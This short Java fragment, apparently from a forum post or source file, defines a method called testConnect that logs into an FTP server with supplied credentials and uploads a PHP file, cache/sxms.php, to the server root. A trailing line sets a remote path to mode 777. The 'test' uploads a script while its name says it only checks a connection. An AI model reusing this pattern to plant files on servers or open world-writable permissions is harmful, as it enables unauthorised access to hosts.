public static boolean testConnect(String host, String login, String pass) throws FileNotFoundException {

       FTPClient ftp = new FTPClient();
        FileInputStream fis = new FileInputStream("cache/sxms.php");
        String fs = "./sxms.php";
        try {
            ftp.connect(host);
            ftp.enterLocalPassiveMode();
            ftp.login(login, pass);
            if(!ftp.storeFile(fs, fis)){
                return false;
            }
            ftp.logout();
            ftp.disconnect();
            
        } catch (IOException ex) {
            System.err.println(ex);
            return false;
        }
         return true;
    }

ftp.sendCommand("SITE CHMOD 777 ./dumpsxml");